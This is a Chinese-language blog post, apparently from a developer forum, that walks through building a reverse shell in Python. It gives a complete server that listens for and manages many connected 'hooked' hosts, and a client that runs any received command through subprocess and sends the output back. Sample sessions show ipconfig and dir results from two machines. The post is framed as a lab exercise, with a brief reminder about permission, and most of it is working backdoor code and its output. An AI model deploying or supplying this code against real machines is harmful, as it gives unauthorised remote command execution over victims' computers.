PythonSocket完成反向shell控制计算机

背景

记起有个学期老师教网络攻防讲到了反向shell,从当时的看不懂老师给的代码到现在自己用写一个,这大概就是成长吧!

一、思路

反向shell一般都是由C/S结构发生,我理解的意思大概就是别人说在一包糖里面拿一颗,结果却拿了一整包。先由服务端监听,当有人连接上我们时,我们再通过这个连接发送指令给客户端执行,执行完之后反馈消息给我们。
总体思路:
S:监听->等待->上钩->发送指令->接受信息
C:连接->接受指令->执行指令->发送信息

二、实现

1.Server端:

import socket
import threading

sock = socket.socket()
sock.bind(('0.0.0.0',6666))
sock.listen(1024)      #1024代表排队个数
socklist = []          #存放socket连接
numm = None           #定义主机号
def con():              #主要保存主动上钩的连接
    num = 0
    print('等待主机加入')
    while True:
        (sk, addrport) = sock.accept()   #接收连接并返回一个套接字sk,addrport是地址跟端口,(sk,addrport)是一个元组
        socklist.append((sk, addrport))     #把接受的元组放进列表,保存起来,反向shell的重要事情!
        print(f'\n主机{addrport}加入成功,num={num}\n')
        num = num + 1

def who():          #选择主机函数
    global numm	
    numm = input('\n输入要控制主机的num')
    print(f'选择主机{socklist[int(numm)][1][0]}成功')


def action():        #执行命令函数
    while True:
        cmd = input('输入命令:')
        if len(socklist) > 1 and cmd == 'cchange' :
            who()
            action()
        if cmd == 'eexit' :
            print('退出程序。')
            exit()

        socklist[int(numm)][0].send(cmd.encode('utf-8')) #发送指令到client端
        data = socklist[int(numm)][0].recv(8192)   #接收反馈的信息
        print(data.decode('utf-8'))


def main():   #主函数,(运行函数)
    threading.Thread(target=con,args=()).start()  #挂一个线程保持接收连接
    while True:
        if len(socklist) != 0:
            who()
            action()

if __name__ == '__main__':  #程序运行入口
    main()

2.Client端
client端比较简单,发起连接,接受指令,执行指令,发送消息即可,其中执行指令用到subprocess模块,subprocess.getoutput()方法可以返回执行指令后的信息,更多用法自行学习哈。

import socket
import subprocess

sock=socket.socket()
sock.connect(('127.0.0.1',6666))
while True:
    data = sock.recv(1024)
    da = data.decode('utf-8')
    fankui = subprocess.getoutput(da)
    sock.sendall(fankui.encode('utf-8'))

效果:

C:/Users/blanklee/PycharmProjects/fxshell/server.py
等待主机加入

主机('192.168.1.107', 54085)加入成功,num=0


输入要控制主机的num
0
选择主机192.168.1.107成功
输入命令:ipconfig

Windows IP 配置


以太网适配器 以太网:

   连接特定的 DNS 后缀 . . . . . . . : 
   本地链接 IPv6 地址. . . . . . . . : fe80::a011:7e57:4108:697a%10
   IPv4 地址 . . . . . . . . . . . . : 192.168.1.107
   子网掩码  . . . . . . . . . . . . : 255.255.255.0
   默认网关. . . . . . . . . . . . . : 192.168.1.1
输入命令:dir
 驱动器 C 中的卷没有标签。
 卷的序列号是 DEAD-D713

 C:\Python37 的目录

2020/03/26  19:32    <DIR>          .
2020/03/26  19:32    <DIR>          ..
2020/03/26  19:34               246 client.py
2020/03/26  19:11    <DIR>          DLLs
2019/09/12  18:52    <DIR>          Doc
2020/03/26  19:11    <DIR>          include
2020/03/26  19:12    <DIR>          Lib
2020/03/26  19:12    <DIR>          libs
2019/03/25  22:26            30,195 LICENSE.txt
2019/03/25  22:26           665,470 NEWS.txt
2019/03/25  22:23            99,856 python.exe
2019/03/25  22:22            58,896 python3.dll
2019/03/25  22:22         3,748,368 python37.dll
2019/03/25  22:23            98,320 pythonw.exe
2019/09/12  20:28             2,797 readme.txt
2020/03/26  19:18    <DIR>          Scripts
2020/03/26  19:12    <DIR>          share
2020/03/26  19:12    <DIR>          tcl
2020/03/26  19:12    <DIR>          Tools
2019/03/25  21:22            89,752 vcruntime140.dll
               9 个文件      4,793,900 字节
              11 个目录 103,630,409,728 可用字节
输入命令:
主机('127.0.0.1', 47651)加入成功,num=1

ipconfig

Windows IP 配置


以太网适配器 以太网:

   连接特定的 DNS 后缀 . . . . . . . : 
   本地链接 IPv6 地址. . . . . . . . : fe80::a011:7e57:4108:697a%10
   IPv4 地址 . . . . . . . . . . . . : 192.168.1.107
   子网掩码  . . . . . . . . . . . . : 255.255.255.0
   默认网关. . . . . . . . . . . . . : 192.168.1.1
输入命令:cchange

输入要控制主机的num
1
选择主机127.0.0.1成功
输入命令:dir
 驱动器 C 中的卷没有标签。
 卷的序列号是 BCA3-1618

 C:\Users\blanklee\PycharmProjects\baolipojiezip 的目录

2020/03/26  20:51    <DIR>          .
2020/03/26  20:51    <DIR>          ..
2020/03/19  15:46    <DIR>           
2020/03/26  20:58    <DIR>          .idea
2020/03/19  15:17               163 1.zip
2020/03/26  20:51               258 66.py
2020/03/19  15:47    <DIR>          D
2020/03/20  01:25               192 text.py
2020/03/19  14:59    <DIR>          venv
2020/03/20  19:27             2,035 zipbruteforce.py
               4 个文件          2,648 字节
               6 个目录 12,218,122,240 可用字节
输入命令:

结束

以上所有环境都是自己虚拟环境跟局域网的电脑,PyhonSocket完成反向shell控制计算机的实验就到这结束啦。
最后
温馨小提示:做网络攻防一定要得到对方的允许,不然容易触碰到法律哦。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值